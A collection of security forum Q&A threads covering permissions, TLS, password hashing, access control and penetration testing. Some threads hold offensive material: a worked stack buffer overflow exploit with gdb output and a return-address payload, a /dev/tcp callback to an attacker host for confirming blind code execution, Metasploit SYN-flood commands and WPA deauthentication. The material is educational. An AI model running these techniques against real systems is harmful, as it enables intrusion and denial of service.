There is no reason the test virus should run. Nobody expects that an antivrus is doing behavioral analysis on this file because it actually does nothing bad. All what is expected is that even the stupidest antivirus without any current pattern is able to detect this file so that one can check if the antivirus is running at all or that a firewall is able to extract potentially malicious payloads from the traffic.


Why can't I have WPA handshake on aircrack? I know this might seems general question to be googled first and I have tried.

I have successfully de-authenticated the client or clients multiple times but I didn't get the message of WPA handshake but in it's place (top right corner) is written: fixed channel mon0:-1.

Also I should mention I followed procedure as given on Aircrack website.

The message "fixed channel mon0:-1" usually means there are some problems with the compat-wireless package. Try to install the newer version using the following instructions:

http://aircrack-ng.org/doku.php?id=compat-wireless


Verify "blind" code execution works Suppose the following situation: You're doing a black-box pentest. You found that the customer runs software X and X has a remote code execution vulnerability, but the nature of this code execution is that stderr and stdout cannot be sent back to the attacker. In this sense, the execution works but you will never ever see the output of the commands you execute.

To make things even a bit harder, let's assume you cannot know the OS (and software X runs on all major platforms).

What can you do to verify whether your code execution actually works? I have figured out 2 ways to do so, at least in theory.

You execute a ping <some IP> where  is a box under your control. You'd have to tweak the network layer of that box in a way so that you can detect an incoming ping from your target victim machine.
You execute a nslookup somename.yourdomain.com you are the owner of yourdomain.com. Again, the DNS server is setup in a way so that you are alerted when a DNS request for somename.yourdomain.com comes in.
On linux/unix I can try echo sth > /dev/tcp/<myip>/<port>, hoping that the > character isn't sanitized somewhere on the way. And this doesn't work on Windows.

My question is: Are there easier ways to achieve the same goal?

The sleep command works on both Linux and Windows. The time for the software to respond normally vs when using the sleep command would indicate that the code execution works.

This would also not require any network traffic to show it was working which could be a benefit if outgoing traffic is blocked by a firewall.


Reason to not use chmod -R 777 on internal server for project source code? From my days of amateur web development the principle of least privilege has beaten into me not to use chmod -R 777 dir.  I have personally never needed it, so I've never used it.

I now work on a development team professionally, and we recently moved executable code to a shared internal server. Only people from the company can access the server and we trust everyone at our company.  The code isn't particularly sensitive, anyway.

Trying to run a script† that another team member wrote into the shared folder caused a permissions error, so "just to check if it would otherwise work" a coworker ran chmod -R 777 /opt/path/to/shared/folder on the project.  Once it did work the coworker said it's fine to leave it as is instead of switching to a more controlled groups solution for us.

Because I am a chimpanzee I want to speak up and say this is bad practice and we should change it to a groups solution. However, after putting some thought into it I can't come up with a reason why shared executable code on an internal server shouldn't have 777 permissions.

From a security standpoint, is there any reason to change our project folder's permissions from 777 to something tied down a little tighter with groups?

† We can't change this scripts' permission requirements.

However, after putting some thought into it I can't come up with a
  reason why shared executable code on an internal server shouldn't have
  777 permissions.

Because you're not only trusting every user - which might be reasonable on an internal server where "everybody" who has access should have that control - you're also trusting every process on that server.  The web server.  The SSH server.  The DHCP client.  Every scheduled task and every service.  Even processes running as "nobody" and "nogroup".  All sorts of processes that might be leveraged by an attacker to gain or expand their access.

Because if you're going to be that sloppy in internal development, someone's going to be that sloppy on a Production or Customer system, because "that's how we fixed it internally".

Because an attacker will delight in finding that little system that's only internal and isn't important or protected, see weaknesses like writable web application files, use them to get onto the system and start leveraging it to get somewhere.  I'll bet the passwords people use on that system also work on other, more valuable, internal systems.  Maybe you guys use the same root password across servers, too?  That's always a fun one to find.


How to fingerprint a server with Netcat? I am trying to follow the OWASP test guide on a Kali Linux machine. As the first step in "Information Gathering" I am trying to fingerprint the server. The guide instructs me to use NetCat:

$ nc www.xxx.yy 80

But after several attempts I always get this result:

$ nc www.xxx.yy 80
DNS fwd/rev ..............
www.xxx.yy [IP] 80 (http) open

Instead when I use

$ whatweb www.xxx.yy

I was able to retrieve a lots of information, including:

HTTP Headers:   HTTP/1.1 200 OK
Date: ***
Server: Apache
X-Powered-By: ******

Where is the error in my way to use Netcat?

It is not enough to open a connection to the target on port 80. You also need to perform an HTTP request like

GET / HTTP/1.1

and ideally send a user-agent...


Does SSL certification have anything to do with the website legitimacy? Does SSL certification have anything to do with the website's legitimacy? Are those websites which has it are under some kinda monitoring? Generally speaking, can a company say they follow the law because their website has SSL certification?

No.

You are confusing an SSL / TLS certificate with some kind of standards-compliance certification from either government or industry (ex.: ISO-9000).

A TLS Certificate:

Is used only for encrypting connections from one computer to another.
Links your public key to your server's domain name so that a web browser knows that it is talking to the correct server.
To get it, all you have to do is prove that you own the server and the domain name.
The people who give out TLS certificates absolutely do not care what you do with the certificate after you have it (that's not their job).

A standards-compliance certification:

Is used for showing that your company is accountable and trustworthy.
Shows that the people in your company follow a set of rules in their day-to-day business (either government rules, or industry rules like an ISO certification).
To get it, auditors come to your workplace and observe that your people do things according to the rules.
Standards bodies will continue to audit your company, and you can lose your certification if you stop following the rules or do something bad.


Different private keys for one common-name spread across two servers Do certificate providers allow you to have multiple certificates with the same common name but different CSRs from different private keys, all operating at the same time? At first glance, it's the same question asked here, but my context is different.

My plan is to have two web servers--one that supports only modern ciphers and one that gives a nice error message if your browser doesn't support one of those. A load balancer will read the Client Hello message and if the browser supports one of the ciphers in the list, they get sent to the real site; if they don't, they get sent to the site that gives them the error and a suggested course of action.

However, I would prefer to not have the same private key on both of these sites--the "error message" site being more prone to getting owned because of the old ciphers.

Perhaps some certificate authorities will issue two certs with the same CN and different CSRs and some won't. Thoughts?

Different private keys for one ... certificate

This is not possible. The certificate signs a single CSR, based on a single Private Key.

The other Private Key would have to be signed with a different certificate.

  Do certificate providers allow you to have multiple certificates with the same common name ...

@Matt Nordhoff is exactly right here.

  Depending on your certificate authority, you may be able to use the "Reissue" button and do it for free. (As long as it doesn't automatically revoke!)

This might actually work!

I don't know if this is a recommended solution. I'd be more comfortable if the CA officially supported this solution.

  Or you can use Let's Encrypt.

Assuming your certificate is Domain Validation only (most are) then you could automate the certificate renewal process, and make use of letsencrypt.org's free 90 day certificates.

I believe Let's Encrypt is trying to eliminate the use of unencrypted HTTP by allowing webservers to automatically maintain HTTPS certificates by default.


How does SSL inspection work on personal devices without deploying a trusted custom certificate? My (limited) understanding of SSL inspection is that the process involves deploying a certificate to each host that SSL inspection will be monitoring.

In an enterprise environment, I can understand that the certificates are easily installed as part of a computer's build. However, I have been told that SSL inspection occurs even on guest networks.

How can SSL inspection occur on my personal device if I have not installed the SSL inspection custom certificate? Wouldn't I receive a certificate error when I log into HTTPS sites?

It depends.

For most modern web browsers, you'll be protected by heeding warnings that the site's certificate is untrusted. Of course, most users just look for the "easy button" and click through to the site anyway - so, there goes that protection. What's worse, the default option for some of these warning dialogs will install the site's certificate so you never see the warning there again.

For other apps (mostly mobile apps, but also many desktop-class applications), it's a bit of a crap-shoot. Many aren't using HTTPS to begin with, and many that do won't bother to check the validity of the server's certificate - or, if they do, they either don't do it right or just ignore the errors.

So long as an application isn't properly verifying the server's certificate, or the user happily clicks through any warnings presented, a network owner can proxy the SSL traffic all day without needing the user to actually install their Root CA's certificate.


How to do string buffter overflow with scanf function? I'm new to buffer overflow exploitation. I've written a simple C program which will ask user to input a string (as a password) and match that string with "1235". If matched then it will print "Access Approved", otherwise it'll print "Access Denied". Now I'm trying to overflow the string buffer which will overwrite the caller function's return address with the address for the initiation of the printing of "Access Approved". Bellow is the source code and the disassembled code of the main function (I'm using gdb to see the memory layout):
#include <stdio.h>
#include <string.h>

void main()
{
    char ch[10];
    scanf("%s", ch);
    if(strcmp("1235", ch))
    printf("\nAccess Denied\n");
    else
    printf("\nAccess Approved\n");
}

0x0000000000001169 <+0>:    push   rbp
0x000000000000116a <+1>:    mov    rbp,rsp
0x000000000000116d <+4>:    sub    rsp,0x20
0x0000000000001171 <+8>:    mov    rax,QWORD PTR fs:0x28
0x000000000000117a <+17>:   mov    QWORD PTR [rbp-0x8],rax
0x000000000000117e <+21>:   xor    eax,eax
0x0000000000001180 <+23>:   lea    rax,[rbp-0x12]
0x0000000000001184 <+27>:   mov    rsi,rax
0x0000000000001187 <+30>:   lea    rdi,[rip+0xe76]        # 0x2004
0x000000000000118e <+37>:   mov    eax,0x0
0x0000000000001193 <+42>:   call   0x1060 <__isoc99_scanf@plt>
0x0000000000001198 <+47>:   lea    rax,[rbp-0x12]
0x000000000000119c <+51>:   mov    rsi,rax
0x000000000000119f <+54>:   lea    rdi,[rip+0xe61]        # 0x2007
0x00000000000011a6 <+61>:   call   0x1050 <strcmp@plt>
0x00000000000011ab <+66>:   test   eax,eax
0x00000000000011ad <+68>:   je     0x11bd <main+84>
0x00000000000011af <+70>:   lea    rdi,[rip+0xe56]        # 0x200c
0x00000000000011b6 <+77>:   call   0x1030 <puts@plt>
0x00000000000011bb <+82>:   jmp    0x11c9 <main+96>
0x00000000000011bd <+84>:   lea    rdi,[rip+0xe57]        # 0x201b
0x00000000000011c4 <+91>:   call   0x1030 <puts@plt>
0x00000000000011c9 <+96>:   nop
0x00000000000011ca <+97>:   mov    rax,QWORD PTR [rbp-0x8]
0x00000000000011ce <+101>:  sub    rax,QWORD PTR fs:0x28
0x00000000000011d7 <+110>:  je     0x11de <main+117>
0x00000000000011d9 <+112>:  call   0x1040 <__stack_chk_fail@plt>
0x00000000000011de <+117>:  leave
0x00000000000011df <+118>:  ret

I've figured out the memory layout of the "ch" buffer (10 byte), "QWORD PTR fs:0x28" (8 bytes), privious base pointer (8 bytes) and the return address (8 bytes) (so total of 34 bytes) and below is the gdb output with the string argument "1235":
(gdb) x/34xb $rbp-0x12
0x7fffffffe42e: 0x31    0x32    0x33    0x35    0x00    0xff    0xff    0x7f
0x7fffffffe436: 0x00    0x00    0x00    0x5d    0x2d    0xd2    0x26    0x1e
0x7fffffffe43e: 0x4d    0x0e    0xe0    0x51    0x55    0x55    0x55    0x55
0x7fffffffe446: 0x00    0x00    0x52    0xa1    0xdf    0xf7    0xff    0x7f
0x7fffffffe44e: 0x00    0x00
(gdb)

Also I've figured out the return address for the printing of the message which is 0x5555555551bd (at runtime):
0x5555555551bd <main+84>:   lea    rdi,[rip+0xe57]        # 0x55555555601b
0x5555555551c4 <main+91>:   call   0x555555555030 <puts@plt>

Now the problem is if i pass a string consisting 26 'A's and the return the address, scanf interprets everything as a character even if I pass '\x' before the address's digits. And I can't figure out how I can tell scanf that the address part is not a string. Also what is the meaning of fs:0x28?

In most implementations, the char data type is equivalent to a byte.  Meaning a string is just a series of arbitrary bytes, and vice versa.  Those bytes do not have to be human-readable.  I'll demonstrate on my system, with a slight modification to the source to make things a little clearer in the disassembly:
#include <stdio.h>
#include <string.h>

void accept_password()
{
  printf("\nPassword accepted\n");
}

void deny_password()
{
  printf("\nPassword denied\n");
}

void main()
{
  char ch[10];
  scanf("%s", ch);
  // Note that strcmp() returns 0 when a match is found,
  // so your original code was backwards
  if(strcmp("12345", ch) == 0)
  {
    accept_password();
  }
  else
  {
    deny_password();
  }
}

You will find your exercises slightly easier if you compile with -fno-omit-frame-pointer.  It is frequent to see this option enabled in production code though, so don't come to rely too much on the advantages it provides.
00000000000011bb <main>:
    11bb:   55                      push   %rbp
    11bc:   48 89 e5                mov    %rsp,%rbp
    11bf:   48 83 ec 20             sub    $0x20,%rsp
    11c3:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    11ca:   00 00
    11cc:   48 89 45 f8             mov    %rax,-0x8(%rbp)
    11d0:   31 c0                   xor    %eax,%eax
    11d2:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11d6:   48 89 c6                mov    %rax,%rsi
    11d9:   48 8d 3d 48 0e 00 00    lea    0xe48(%rip),%rdi        # 2028 <_IO_stdin_used+0x28>
    11e0:   b8 00 00 00 00          mov    $0x0,%eax
    11e5:   e8 76 fe ff ff          callq  1060 <__isoc99_scanf@plt>
    11ea:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11ee:   48 89 c6                mov    %rax,%rsi
    11f1:   48 8d 3d 33 0e 00 00    lea    0xe33(%rip),%rdi        # 202b <_IO_stdin_used+0x2b>
    11f8:   e8 53 fe ff ff          callq  1050 <strcmp@plt>
    11fd:   85 c0                   test   %eax,%eax
    11ff:   75 0c                   jne    120d <main+0x52>
    1201:   b8 00 00 00 00          mov    $0x0,%eax
    1206:   e8 8a ff ff ff          callq  1195 <accept_password>
    120b:   eb 0a                   jmp    1217 <main+0x5c>
    120d:   b8 00 00 00 00          mov    $0x0,%eax
    1212:   e8 91 ff ff ff          callq  11a8 <deny_password>
    1217:   90                      nop
    1218:   48 8b 45 f8             mov    -0x8(%rbp),%rax
    121c:   64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    1223:   00 00
    1225:   74 05                   je     122c <main+0x71>
    1227:   e8 14 fe ff ff          callq  1040 <__stack_chk_fail@plt>
    122c:   c9                      leaveq
    122d:   c3                      retq
    122e:   66 90                   xchg   %ax,%ax

Note the function call at offset 0x1227 (offset 0x11d9 in your code).  That is GCC's stack protector feature which will foil our exploit even if we manage to achieve it.  It's enabled by default in recent versions of GCC.  So make sure to compile with -fno-stack-protector and that will go away.
Let's type the string AAAAA as input to start.  Inspecting the memory at $rbp-0x10 looks like this:
(gdb) x/8xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x0000000000414141
0x7fffffffd0f0: 0x0000555555555200  0x00007ffff7e0ee3a
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85

Inspect the stack frame:
(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x7ffff7e0ee3a
 source language c.
 Arglist at 0x7fffffffd0f0, args:
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

We want to target the saved rip with an address of 0x7ffff7e0ee3a which you can see is on the right-hand side of address 0x7fffffffd0f0.  Let's stuff a few more A's in there:
0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x00007ffff7e0ee00
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0x67d5660bbfbf3d01
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0x3280335eb9bf3d01  0x32802360c0593d01

This is 16 A's of padding.  You'll have to figure out the exact number on your system yourself.  Next, take a look at the loaded assembly in gdb using layout asm.  Look for the call to accept_password, on my system the line is:
0x5555555551e7 <main+60>                call   0x555555555185 <accept_password>

This is the actual address it is loaded into memory at, rather than the raw offset you see with objdump.  That is the memory address we want to put into the next eight bytes.  However we can't type those bytes in with a keyboard as they are not valid ASCII characters.  So what we'll do instead is dump them into a file, then pipe the file in via redirection.  Note that you have to write out the bytes in reverse order, because x86 is a little-endian architecture!
echo -e "AAAAAAAAAAAAAAAAAA\x85\x51\x55\x55\x55\x55" > test.txt

Execute in gdb with:
r < test.txt

Now our memory space looks like this:
(gdb) x/16xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x0000555555555185
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0xaa3f47a296454268
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0xff6a12f790454268  0xff6a02c9e9a34268

and our stack frame looks like this:
(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x555555555185
 source language c.
 Arglist at 0x7fffffffd0f0, args:
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

Note how saved rip has been overwritten with the address of accept_password.  Now all we need to do is continue execution and our exploit is successful:
(gdb) r < test.txt
Starting program: test < test.txt

Password denied

Password accepted

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd1ea in ?? ()

(the exploit actually fires when main() returns).  You may be tempted to try this outside of gdb, but you will find that it does not work.  That is because of ASLR, which is turned on by default in most modern distros.  You will have to either turn that off (see here) or try creating a NOP sled to defeat it, but that's beyond the scope of this answer.  Hope this helps!


Is wget'ing a single HTML file basically free of risk? There is a lot of potentially malicious stuff on the web. In fact, there are so many things that can happen that browsing to a location you know nothing about can be dangerous, like http://www.example.com/nasty.html

There may be scripts on the page, and a thousand other things. In essence, I may have forgotten to block everything.

I wonder, is it essentially free of risk to instead using wget from my terminal, like this:

wget "http://www.example.com/nasty.html"

And after that opening the file in a text editor? My understanding is that nothing then have a chance to load, but my knowledge here is blurry. Perhaps the server can trick my wget request? Or perhaps opening the file in a text editor is not a safe thing to do? I do not know, so therefore I am asking.

You are basically correct with a couple bits of complexity.

First, it is still possible that both wget or your text editor might have a vulnerability that the page could be designed to try and exploit. This is unlikely, and the malware author would have to predict that you would use this process and plant an ambush. Unlikely, but it still means that your process is not 100% fool-proof. Just something to keep in mind.

Second, it is possible for the webserver to identify that you are using wget, and serve you a non-nasty version of the file. This is quite easily done, with examples out there, by inspecting the user-agent. Again, this is not something that malicious actors think about, but it also means that you can't use wget and assume that the file you analyse will be the file you receive in your browser.

Yes, there are ways to modify wget's user-agent to lower this possibility, but, it's still something to think about.

So, yes, you are basically correct, but it is not a silver-bullet to secure yourself, and some risks remain.


Crunch password list, no duplicate characters How can I have Crunch create a password list where the passwords contain no duplicate characters at all?

eg. I currently have

crunch  3  3  ABCDEFGHIJKLMNOPQRSTUVWXYZ -d 1

which prevents 'ZZZ' but allows 'ZYZ'.

I wish to also exclude passwords like 'ZYZ' or 'ABA'.

Is this possible?

Crunch is not designed for that option. It also doesn't make sense that it would. Password list generators need to create very large lists that match patterns. Your request is a constraint.

For password lists that require such constraints, it is better to write your own script.


role based access control - same role, different departments This question about RBAC implementation. Can a subject have a role in a certain realm?

Suppose a university is made up of departments.
Departments have courses.
Courses have students.
Students have grades in courses.

Note that these grades are WITHIN the realm of a particular department, but they are not directly OWNED by the department.

We wish to declare that the "department head" role should have access to all things within the realm of their department - including all grades.  Is there a standard / recommend way to do this.  I am (slightly) familiar with ownership, but the grades are owned by the student.  The fact that the grade is within the department is indirect.

From my initial reading, it seems that at least, one would have to create many duplicated roles - "math department head", "history dept head", "english dept head", etc.  It seems preferable to define the "department head" role and assign that role to a subject  _relative_to_ a certain department, then have that flow down to grades within department X.  Is that possible?
Thanks so much for your assistance.

you want to use attribute-based access control which extends beyond role-based access control to include other attributes about users, resources, and more.

In your example you have to create a role "MathDepartmentHead" if you use RBAC. But if you use ABAC you can write a rule as follows:

A user with the role "department head" can do the action "view" on all resources if and only if resource.department==user.department.

You can read more about attribute-based access control here:

ATTRIBUTE BASED ACCESS CONTROL (ABAC) - OVERVIEW

There are a couple ways to achieve attribute-based access control. The standard way is to use XACML, the extensible access control markup language. It's also worth considering Microsoft's claims-based

OASIS XACML - an implementation of attribute-based access control.
Microsoft claims-based authorization on MSDN

In the world of XACML, there are several open-source and vendor implementations available. I work for one the vendors, Axiomatics.

Some of the use cases that are seen in this space include protecting sensitive medical data, PII, and even academic information as is your use case.

If you want to start modeling attribute-based access control policies, have look at the ALFA plugin for Eclipse, a free tool that lets you write XACML in pseudo-code.

I hope this helps. If you go down the ABAC route, you will:

avoid role explosion
enable relation-based access control (Permit if user.department==resource.department)
be able to implement segregation of duty rules e.g. the department head can view data in his or her department except for data relating to students or staff that are family members.


What are the appropriate steps to take after installing a questionable Android app? Situation:

User installed an Android app from the Google Play Store.
User's device is rooted, but that app does not have root privileges.
XPrivacy reveals that the app is trying to make IPC (inter-process communication) calls that do not seem appropriate for the app.  Specifically, it is trying to access iContentProvider:CALL, and the app has nothing to do with making calls.

Question:

Besides uninstalling the app, are there other actions that the user should take?

If additional actions should be taken, please explain why.  IOW, please don't just write "run an antivirus scanner" without providing references explaining how an app without root privileges can break out of the Android sandbox.

Note that this particular case was for Android KitKat, so information for that version of Android is the most relevant.  But if the response varies for different versions of Android, please feel free to contribute answers for those versions as well (please specify the relevant Android version in your answer).

Having a rooted device and running an outdated ROM both greatly increase the odds of a malicious app gaining root privileges without user authorization.

How did the user manage to get root?
That's just one method that the malicious app could use to get root.

With root one thing that the malicious app can do is install another app that won't show up in your list of installed apps. You deleted the first app, but not the second, so you aren't actually any better off now.

A factory reset might not get rid of your problem, but correctly flashing a new ROM should.


How should I choose a difficulty factor for my password hashing function? Assuming that I'm doing password hashing properly and using bcrypt, scrypt or PBKDF2, how should I go about choosing an appropriate difficulty factor?  i.e rounds for bcrypt, iterations for PBKDF2 and maxtime, maxmem or maxmemfrac for scrypt.

Also assume that the worst-case scenario will happen and my user's hashes and salt (and any application-salt or pepper.  You know... worst-case.) will be leaked, either accidentally or deliberately.

I need to choose a value that is:

Easy enough for me.
Too hard for an attacker.

The first part is relatively easy.  If I choose enough rounds to cause bcrypt to take 0.5 seconds, I can be sure that my users won't see a significant slowdown when they login.  (In a web app anyway, 0.5 seconds is not very a long time.)  I also know by testing a loop over that function that I can handle many more logins per minute than I am currently seeing.  If the rate of logins I get increases, I can lower the number of rounds and migrate users over as each one logs in or I can wait for better, cheaper hardware.  When I naturally get better, cheaper hardware in my upgrade cycle I can increase the rounds to compensate.

The question that's more difficult to answer is how hard is too hard for an attacker.  Of course it depends on the value of the passwords to a particular attacker but for this question, assume no special value beyond the fact that most of these user/password combinations will work on other sites that actually have value.

If I change the number of bcrypt rounds so that it now takes 0.01 seconds instead of 0.5, has this changed the equation for the attacker so that the brute-forced password is now worth more than the cost to brute-force it?  How can I know whether it has or not?

It seems this is fairly easy to calculate based on knowing the following:

How much a generic username/password pair is worth.
How much it costs to brute-force a hash of $hash_function with $difficulty_factor.

Since scrypt was designed to be memory-hard rather than CPU-hard, the answer to 2. will vary differently depending on algorithm.  It's not a linear speedup as CPU/GPU speeds increase or RAM prices decrease.

Is there a place where can I find out the above information that is updated as new hardware becomes available?

The best resource I have found so far for the value of a password is blog posts by Brian Krebs such as this one and this one.  For hashes cracked per second, it's the "Crack me if you can" contest at DEFCON.  Hashes cracked per dollar would be nice.

Please ignore in your answers any algorithmic flaws in these algorithms.  If one of those is found I would simply switch to one of the other alternative algorithms.  I assume that if a flaw is found in any of these it will be all over the security news.

Just found over on Crypto.SE this table from the paper defining scrypt:

All I need is for that table to be updated every year.

Unfortunately, the wide variety of hardware prevents building tables like the one you want unless you first make a survey of all existing hardware architectures and the best bcrypt/scrypt/PBKDF2 implementations for that architecture. Even the table in the scrypt article is not what you want: it does not tell you how much it would cost for an attacker; it tells how how much it would cost for an attacker with the hardware and software the scrypt designer thought of when writing the article.

Such estimates do not scale up well, by the way. If I was an attacker faced with an attack cost estimated at 10 billions of dollars with available hardware, I would first invest one billion dollars into building a custom ASIC-based system which would be faster for that job. A PC is good at making pseudorandom RAM accesses, but not the best possible hardware for that, if only because there are a lot of other components in a PC, which are useless for an attack.

At least, for PBKDF2, since the computation maps to the underlying hash function with no memory access issues, you can use existing hash function benchmarks to get an idea (e.g. these ones).

That being said, all is not lost. You will not get accurate estimates of attack costs, but that does not mean that all you can do is wail, shrivel up and die. A first pragmatic method is to set up the iteration count as high as you can: set it to the highest value which does not make the normal login process intolerably slow. That way, you will not know if your security is good, but it will be as good as it can get. Which is a consolation.

The rest of the work will be on the users' side. After all, the difficulty factor in the password hashing is there to counteract Moore's law. However, at best, this is a match between the password entropy and the attacker's patience:

The attacker's advantage is that he is richer, can buy dedicated hardware, and is patient: he can afford to spend one hour, maybe one day on cracking a high-value password; whereas the user will not tolerate waiting for more than one second when logging in.
The defender's advantage is the password entropy.

Accounting for an efficiency factor of 1000 for the attacker (dedicated hardware, more dollars thrown at it) and a patience factor of 86400 (the attacker wants to succeed within a day, the user will not wait more than one second), then the password entropy must exceed 86 millions (aka a bit more than 26 bits) if the defender is to win the game. To raise the password entropy, there's only one way: educate, educate, and educate again. Don't try to enforce "password rules", they antagonize users rather instead of making strong passwords. Instead, provide a non mandatory password generator button, which produces passwords with, say, 40 bits of entropy, and explain to the users that using the button would be a very good idea.


Should a password based AES CBC encrypted string have extra security? For a Java application that I wrote, I take a password provided by a user and generate a 128-bit AES key from it using 100,000 iterations of PBKDF2-HMAC-SHA512 with a randomly generated 512-bit salt. I use this key to encrypt a file using AES-CBC mode encryption and then I do something with that encrypted data.

What bothers me is that it seems like someone could just generate passwords and then decrypt the first couple of bytes of the cipher-text and see if non-garbage comes out.

Am I being paranoid or is there extra work that can be done?

For example, is there a mode of AES which prevents partial decryption of cipher-text? Or anything else that slows down the process of testing lots of keys?

The ability to decrypt a portion of the ciphertext is not critical.

It is common practice, for example in disk encryption programs, to add a fixed (known) string to the ciphertext and thus check if the password fails.
Regardless which mode you are using, this would not be the critical point.

CBC mode has only one significant weakness:
CBC mode does not prevent tampering attacks, that means, an attacker who guesses a part of the ciphertext, is able to modify it according to its purposes.
If available, use GCM, EAX, CCM or OCB mode.


Does HTTP Digest Auth provide any increased security in this scenario? Say I have a website running a popular CMS like Wordpress only over SSL through HTTP Strict Transport Security. Prior, the backend administrator login page could be accessed by anybody simply by adding /wp-admin to the URL, but using a mix of mod_rewrite and a plugin, it is now obfuscated and stops brute force attacks.

Now, what if HTTP Digest Authentication was added to the picture? An attacker that somehow found the login page would be faced with another obstacle they'd need to overcome. Does this provide any improvement on security or is it just pointless?

Yes, this adds some defense in depth, assuming the digest auth (or even Basic auth) is done by the webserver.  This would require requests to be authenticated before even hitting your application, meaning an attacker would be unable to exploit any vulnerabilities that might exist in the admin login.

That being said, is the security margin added by this sufficient to warrant the inconvenience to legitimate users?  Depends on your threat model & comfort in the security of your application.


Is there any explanation (other than storing plaintext) for case-insensitive passwords? I've come across a few organisations stating that passwords are case-insensitive. Obviously this is ridiculous, and a gigantic red flag from a security point of view.

Is there any explanation for why a password might be case-insensitive, other than them storing the passwords in plaintext?

I agree with Emil that it's a question of usability. Making passwords case-insensitive puts an end to the common user error of entering the password with caps lock on.

Also, a case-insensitive password doesn't have to be stored in plaintext, it can simply be converted to lower case before it is hashed. The only security concern with having case-insensitive passwords is that it lowers password complexity, but this can be mitigated by requiring longer passwords or passphrases.


What is "Gateway Host Probe"? I wanted to perform Stress Testing on my router using Metasploit to perform a TCP syn Denial Of Service attack.
I have used the following commands:

use auxiliary/dos/tcp/synflood

set rhost 192.168.65.204  (this is  my routers ip)

show options

it showed this :

 Name       Current Setting  Required  Description

 ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST      192.168.65.204   yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

And when i executed run command the following error occurred:

[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: GATEWAY_PROBE_HOST.

Can anyone please explain what does it mean and how to fix this error?

The default value of $GATEWAY_PROBE_HOST is 8.8.8.8, which the module initially contacts with a TTL value of 1. This is done to discover the current default gateway (since TTL will expire at the default gateway and it will send an ICMP time exceeded message). It seems like you have an invalid IP address in the GATEWAY_PROBE_HOST datastore option. Run the command in the terminal:

msfconsole
use auxiliary/dos/tcp/synflood
show advanced

and look at the configured value. To set it to 8.8.8.8 or any other external or internal host, use the set command. Further run

set GATEWAY_PROBE_HOST 8.8.8.8

Configure the required datastore options and run again.


Explanation of open ports I've run metasploit against my web-server and it found several opened ports that I didn't know.  Please note that I have a firewall and IPSec configured but they were disabled just for testing purposes (servers should be secure even if firewalls are bypassed).

Here's the list of open ports:

It's a Windows 2008 R2 with IIS 7.5, SQL Server 2008 R2, MSMQ and Memcached installed (among other things). Do you know how to secure those ports (eg, MSMQ should open ports to the public I think)?. Thanks!

Additional info:

Ports 135 used by svchost.exe, running "RPC Endpoint manager", RpcSs and MSMQ
Ports 445 used by "System" (?)
Ports 2103,2105,2107 being used by MSMQ
Port 49152 used by "wininit.exe - Windows Start-Up application"
Port 49153 used by svchost.exe, running "TCP/IP NetBIOS Helper",  "DHCP Client" and "Windows Event Log"
Port 49170 used by services.exe

Your question should not be "How do I secure these ports" your but rather "How do I secure the services listening on these ports".

There is a wealth of knowledge on well known ports available on the internet and the services that run behind them. I would recommend researching hardening of IIS / Windows server and go from there.

It's good that you've taken a proactive approach to assess your web server, and understanding how it functions. It's not uncommon for known good services to initiate communications and open ports dynamically, so even if your research to a high number port comes empty handed it's not necessarily something to worry about. For the most part Windows IIS is pretty secure out of the box and doesn't require too much tweaking, but just ensure that you're updating your server with patches regularly. These days most attackers will focus on the web application running on your server, rather than attacking the server itself.

Using TCP View will also provide you with a look into what services are utilizing the ports.


Is a firewall an access control list? I want to know if a firewall is considered an access control list (ACL).  I know there are other types of ACLs, but am specifically interested in knowing if a firewall is an ACL.

Edit:
It appears from the answer below that the firewall itself is not an ACL, but are the rules for the firewall considered an ACL?

A firewall its self is not an ACL. Typical firewalls are simply a hardware appliance with various interfaces on it. Firewalls use ACLs to filter traffic. By configuring different rules in the ACL you change the behavior of the firewall.

Software firewalls do also exist (windows firewall) but the behavior is much the same. It still has its own ACL that allows or denies traffic based on source, destination, and port.


Etterfilter file-contents injection On the etterfilter(8) man page, there is a section about the inject() function, which takes the contents of a file and injects it in a packet, or as its own packet when coupled with drop():

  inject(what)

  this function injects the content of the file 'what' after the
  packet being processed. It always injects in DATA.data. You can use it
  to replace the entire packet with a fake one using the drop() function
  right before the inject() command. In that case the filtering engine
  will drop the current packet and inject the fake one.

  example:   inject("./fake_packet")

However, there is no documentation anywhere I have looked to speak to what type of file is expected by this function. (Another user on a BackTrack Linux forum had the same question.)

